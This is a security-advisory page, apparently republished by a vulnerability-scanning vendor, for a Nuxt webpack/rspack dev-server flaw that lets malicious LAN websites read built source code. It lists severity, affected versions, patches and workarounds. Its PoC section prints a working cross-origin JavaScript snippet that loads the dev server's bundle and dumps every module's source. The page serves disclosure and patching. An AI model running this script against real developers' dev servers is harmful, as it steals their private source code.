GHSA-6m52-m754-pw2g is a medium-severity (CVSS 5.4) CWE-749 vulnerability in @nuxt/rspack-builder. A fix is available for @nuxt/rspack-builder — see the affected versions and patch details below.
Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-6m52-m754-pw2g.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-6m52-m754-pw2g by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 381,682 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@nuxt/rspack-buildernpm@nuxt/webpack-buildernpmDescription
Summary
This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.
Details
The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.
Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.
PoC
- Create a nuxt project with webpack / rspack builder.
- Run
npm run dev - Open
http://localhost:3000 - Run the script below in a web site that has a different origin.
- You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
for (const page in window[key]) {
const moduleList = window[key][page][1]
console.log(moduleList)
for (const key in moduleList) {
const p = document.createElement('p')
const title = document.createElement('strong')
title.textContent = key
const code = document.createElement('code')
code.textContent = moduleList[key].toString()
p.append(title, ':', document.createElement('br'), code)
document.body.appendChild(p)
}
}
})
document.head.appendChild(script)
(This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)
Impact
Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.
This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.
Patches
Fixed in [email protected] and [email protected] by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.
The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.
Workarounds
If you cannot upgrade immediately:
- Don't use
nuxt dev --host. Bind the dev server tolocalhost(the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks. - Use Chrome 142+ or another Chromium-based browser that enforces local network access restrictions.
- Switch to the Vite builder for development.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @nuxt/rspack-builder | ≥ 3.15.4&&< 3.21.6 | 3.21.6npm install @nuxt/rspack-builder@3.21.6 |
| 📦npm | @nuxt/rspack-builder | ≥ 4.0.0-alpha.1&&< 4.4.6 | 4.4.6npm install @nuxt/rspack-builder@4.4.6 |
| 📦npm | @nuxt/webpack-builder | ≥ 3.15.4&&< 3.21.6 | 3.21.6npm install @nuxt/webpack-builder@3.21.6 |
| 📦npm | @nuxt/webpack-builder | ≥ 4.0.0-alpha.1&&< 4.4.6 | 4.4.6npm install @nuxt/webpack-builder@4.4.6 |
Affected Products
nuxt\/rspack-buildernuxtnuxt\/webpack-buildernuxtDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @nuxt/rspack-builder, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @nuxt/rspack-builder to 3.21.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6m52-m754-pw2g is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-6m52-m754-pw2g in your dependencies?
Find it across npm, including transitive dependencies.